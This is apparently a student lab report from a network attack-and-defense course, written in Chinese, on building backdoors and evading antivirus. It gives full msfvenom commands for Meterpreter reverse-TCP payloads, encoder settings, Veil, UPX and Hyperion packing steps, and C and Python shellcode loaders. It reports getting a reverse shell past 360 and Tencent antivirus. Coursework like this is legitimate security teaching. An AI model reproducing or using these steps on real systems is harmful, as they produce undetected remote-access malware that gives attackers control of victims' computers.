2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践
一、实验要求
了解metasploit、veil、加壳工具的使用方法,并利用以上软件实现后门程序与杀软之间的共存,并利用后门程序获取被攻击方的shell。
二、实验目标
- 1、正确使用msf编码器
- 2、msfvenom生成如jar之类的其他文件
- 3、使用veil进行免杀处理
- 4、使用upx加压缩壳,hyperion加加密壳
- 5、使用C + shellcode编程进行免杀
- 6、使用python + shellcode进行免杀(使用其他课堂未介绍方法)
- 7、通过组合应用各种技术实现恶意代码免杀
- 8、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
三、实验过程
1.准备工作
(1)安装veil
- 用
sudo apt-get install veil
命令安装veil,如果有问题可以尝试使用sudo apt-get update
和sudo apt-get upgrade
命令更新一下软件包。 - 安装完成后使用
veil
命令打开veil,输入Y继续安装直到完成。期间可能会因为网络问题下载中断,并且需要手动确认部分软件的安装,这一准备工作需要较长的时间。
(2)hyperion加密壳应用
由于我的kali系统里没有hyperion的文件夹,因此我参考了同学的博客下载了hyperion2.2的压缩包,并生成了一个hyperion.exe可执行文件(压缩包下载以及可执行文件生成方式)。需要注意的是,链接中的压缩包需要使用2.2版本,且hyperion.exe文件需要在Hyperion-2.2这一目录下生成,并将需要添加加密壳的文件复制到Hyperion-2.2目录下再进行加密。
(3)配置python环境
在本次实验中我使用了python + shellcode这一课堂未介绍的免杀方式,而这一方法需要在x86系统中配置python2.7环境(python2.7下载链接),并配置python环境变量,即需要下载安装python2.7的包,并将python2.7的文件路径添加到系统环境变量path中。
2.正确使用msf编码器
在上一个实验中我们已经了解了metasploit的msfvenom指令,在本次实验中我们需要了解msf指令中与免杀相关的参数,并尝试不同参数的免杀效果。
(1)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.219.134 LPORT=5320 -f exe > 5320shiyan3.exe
命令生成后门程序,并使用virscan进行扫描。
- -p设置payload
- -e参数设置编码器
- -i参数设置编码次数
- -b去掉'\x00’
- -f设置生成的文件的格式
- '>'表示重定向,可以使用-o代替
从检测结果可以看出,免杀的效果并不好,有53%的杀软检测出了后门程序。
(2)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.219.134 LPORT=5320 -f exe > 5320shiyan3-i10.exe
命令增加编码次数并生成后门程序,然后使用virscan进行扫描。
从检测结果可以看出,仍有53%的杀软检测出了后门程序,10次编码的结果与5次编码的结果相比没有区别。多次编码对免杀结果没有效果,主要有一下两点原因:
- shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这部分就可以了。
- msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
值得注意的是,我还尝试了使用msfvenom命令将后门程序与正常安装包进行捆绑,即通过-x参数与可执行文件进行绑定。而对绑定的文件进行5次和10次编码后,10次编码的后门程序的检出率要高于5次编码的后门程序的检出率,有些杀软在5次编码情况下检测不出后门,而在10次编码的情况下能够检测出后门,这提醒我不能盲目地增加编码次数。
编码5次的扫描结果:
编码10次的扫描结果:
3.msfvenom生成如jar之类的其他文件
3.1 msfvenom生成jar文件
(1)msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -f jar > 5320shiyan3.jar
命令生成jar文件。
(2)将生成的文件放到virscan上进行扫描,扫描结果如下:
从扫描结果来看,杀软的检出率明显降低,只有32%的杀软检测了出来。
3.2 msfvenom生成python文件
(1)使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f py -o 5320shiyan3py2.py
生成python文件。
(2)使用virscan进行扫描,检出率为0%。
虽然生成的python文件不会被杀软识别为恶意代码,但是我尝试运行该文件后发现无法与控制端进行连接。之后我通过查找资料了解到这里生成的python文件实际上是一片shellcode,需要后期将该文件修改后才能生成后门程序,而这里就是后面利用python + shellcode进行免杀的基础。
4.使用veil进行免杀处理
首先我们需要安装veil,安装过程我在前面的准备工作中介绍了,这里我就不再赘述了。veil可以使用其他语言将meterpreter重写,从而实现免杀,这里我使用了c语言进行了重写,具体操作过程如下:
(1)安装好veil后在命令行输入veil
打开veil
(2)使用use evasion
命令进入veil-evasion,这里我们能看见可以使用的命令。
(3)输入list
命令查看可用的payload,这里我需要使用c/meterpreter/rev_tcp.py
,于是输入use c/meterpreter/rev_tcp.py
选择并进入配置界面。
(4)在配置界面中输入set LHOST 192.168.219.134
,set LPORT 5320
设置ip和端口。
(5)使用generate
命令生成exe文件。注意界面中显示的几行高亮的路径,有var的路径从上到下分别为可执行文件的位置、代码的位置以及可对metasploit进行配置的资源文件。
(6)将生成的文件复制到打开了杀软的被攻击主机,后门程序被杀软发现并删除了。
(7)暂时关闭杀软,再次将veil产生的后门程序复制到被攻击主机中,然后在kali中使用msfconsole -r + 资源文件路径
命令对metasploit进行设置并开启监听,双击运行后门程序,metasploit获取会话连接。
(8)使用sessions -l
命令查看所有会话,sessions -i 1
选中第一个会话后便可以实现对被攻击方的控制。
这里我也尝试过使用ruby重写meterpreter,但生成的可执行文件同样出现了签名的问题,查了ocra和ruby方面的资料也没有将这一问题解决。
5.使用upx加压缩壳,hyperion加加密壳
5.1 upx压缩壳
加压缩壳的操作比较简便,kali中内置了upx,只需要使用命令upx 5320shiyan3veil.exe -o 5320veilupxed.exe
即可生成加压缩壳后的文件。
5.2 hyperion加密壳
由于我的系统没有hyperion.exe所以还需要自己想办法生成,生成的方法我已经在准备工作中讲过了,这里就不再赘述。准备工作做好后,将需要加壳的文件复制到Hyperion-2.2这一文件目录下,然后进入Hyperion2.2这一目录,输入wine hyperion.exe -v 5320shiyan3veil.exe 5320veilhyped.exe
命令进行加壳。
我将两种加壳后的文件先后复制到windows,发现压缩壳处理后的文件杀软没有反应,而加密壳处理后的文件却被杀软查杀了。
6.使用C + shellcode编程进行免杀
在这里我们使用metaploit生成shellcode,然后在windows环境下编写程序实现对shellcode的调用,最后将该程序的可执行文件复制到被攻击的主机中进行测试。具体过程如下:
(1)使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f c -o 5320cshellcode.c
生成shellcode,并将shellcode保存在-o参数指向的文件中。
(2)将上面生成的c文件复制到主机中,使用codeblock打开并对文件中的代码进行修改,修改后的代码如下:
unsigned char buf[] =
"\xd9\xed\xd9\x74\x24\xf4\xba\x8a\x70\xfe...
"\xb3\x3f\xb5\xdd\xb0\x76\x42\x93";
/*shellcode*/
int main()
{
int (*func)() = (int(*)())buf;
func();
}
(3)修改后对c文件进行build,将生成的.exe文件复制到被攻击主机,复制之后杀软360并没有发现后门程序。
(4)使用virscan对可执行文件进行扫描,有14%的杀软扫描出来了,比前面的方法减少了许多。
(5)控制端输入msfconsole
进入metasploit,通过set payload windows/meterpreter/reverse_tcp
设置payload,set LHOST 192.168.219.134
设置ip,set LPORT 5320
设置监听端口。
(6)控制端输入exploit
开启监听,被攻击端点击运行5320cshellcode.exe,之后可以在控制端获取被攻击方的shell。
7.使用python + shellcode进行免杀(使用其他课堂未介绍方法)
这里我利用了上面使用msfvenom生成的python文件,在windows中使用ide进行修改后在x86系统中生成了可执行文件,然后复制到被攻击主机上进行运行,这里我参考了这篇博客Metasploit+python生成免杀exe过360杀毒,具体过程如下:
(1)使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f py -o 5320shiyan3py2.py
命令生成shellcode(前面已经生成了)。
(2)将上面生成的.py文件复制到主机中,使用ide打开并对文件中的代码进行修改,这里我使用的是pycharm,修改后的代码如下:
from ctypes import *
import ctypes
buf = b""
buf+=b"\xbd\x91\x27\x33\xd1\xdb\xcf\xd9\x74\x24\xf4\x58\x2b"
...
buf+=b"\x46\xfe\x25\x6f\xba\x40\x67\x7c"
#shellcode
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
...#(详细代码见博客链接)
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
print "Code By Luan"
shell()
(3)在windows上安装python的环境,下载支持将python生成exe的软件pyinstall,解压后在cmd中进入pyinstall的目录,将需要转化的python文件复制到pyinstall的文件夹后,执行python pyinstaller.py --console --onefile 5320shiyan3py2.py
,在这里pyinstall不要有中文路径。
(4)在pyinstaller-2.0\5320shiyan3py2\dist目录下找到可执行文件,将该文件复制到被攻击主机上,被攻击主机杀软没有反应。
(5)控制端输入msfconsole
进入metasploit,通过set payload windows/meterpreter/reverse_tcp
设置payload,set LHOST 192.168.219.134
设置ip,set LPORT 5320
设置监听端口。
(6)控制端输入exploit
开启监听,被攻击端点击运行5320shiyan3py2.exe,之后可以在控制端获取被攻击方的shell。
(7)使用virscan进行扫描,杀软的检出率为10%,比c + shellcode的效果要好。
8.通过组合应用各种技术实现恶意代码免杀
这里我使用了上面生成的5320shiyan3py2.exe,并对其分别进行了压缩壳以及加密壳处理,希望通过加壳进一步减少特征的符合度。
8.1 upx压缩壳+python shellcode
使用upx对之前半手工生成的基于python的可执行文件进行加壳,然后复制到被攻击主机并使用virscan进行扫描,在这一过程中,被攻击主机杀软没有反应,virscan扫描结果显示10%的杀软检测出了后门程序。由此可见,对于这种不是捆绑正常软件的后门程序,压缩壳对免杀的作用不是很大。
8.2 hyperion加密壳+python shellcode
使用hyperion对之前半手工生成的基于python的可执行文件进行加壳,然后复制到被攻击主机并使用virscan进行扫描,在这一过程中,被攻击主机的杀软检测出了加壳后文件,而virscan的扫描结果显示有24%的杀软检测出了后门程序,复合处理后后门程序的隐蔽性降低了。
9.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在这里我在另一个win7虚拟机中安装了腾讯电脑管家,并将病毒库更新到了最新版本,然后将之前使用压缩壳处理后的基于python shellcode的可执行文件复制到了该虚拟机中,经过扫描测试杀软并不能识别该后门程序,且该后门程序可以正常回连,并获取了自身的进程号。
四、实验中遇到的问题
- 问题一:安装veil的过程中显示wine没有安装
- 问题一解决方法:
sudo apt-get install wine32
,然后重新安装veil。 - 问题二:在
/usr/share/windows-binaries/hyperion/
目录下没有hyperion.exe文件 - 问题二解决方法:自行下载并编译生成hyperion.exe,压缩包下载方式以及编译方法已经在准备工作中介绍了。
五、实验感想和思考
本次实验总的来说还是比较复杂的,不仅实验的环境需要花较多的时间进行配置,还要尝试不同的免杀方式,并对这些不同方法下生成的后门进行测试。在生成后门程序的时候推荐还是使用编码器进行适当次数的编码,这样可以减少被识别出来的概率。在对后门程序进行恰当的免杀处理后,绝大多数的杀软已经无法识别出后门程序,这在上一次实验的基础上更进了一步,也提醒了我们要注意后门程序的入侵,尽量不要通过非官方的途径获取所需的可执行文件。
思考:
- (1)杀软是如何检测出恶意代码的?
答:有基于特征码检测、启发式恶意软件检测、基于行为的恶意软件检测等方式。 - (2)免杀是做什么?
答:改变恶意软件的特征,使得杀软无法识别恶意软件。 - (3)免杀的基本方法有哪些?
答:通过使用编码器多次进行编码、重写meterpreter、加壳、半手动生成shellcode等方法,主要目的就是使得杀软无法通过特征码等方式识别出恶意软件。
六、参考资料
- (在Kali中使用mingw-w64编译Hyperion)
- (Metasploit+python生成免杀exe过360杀毒)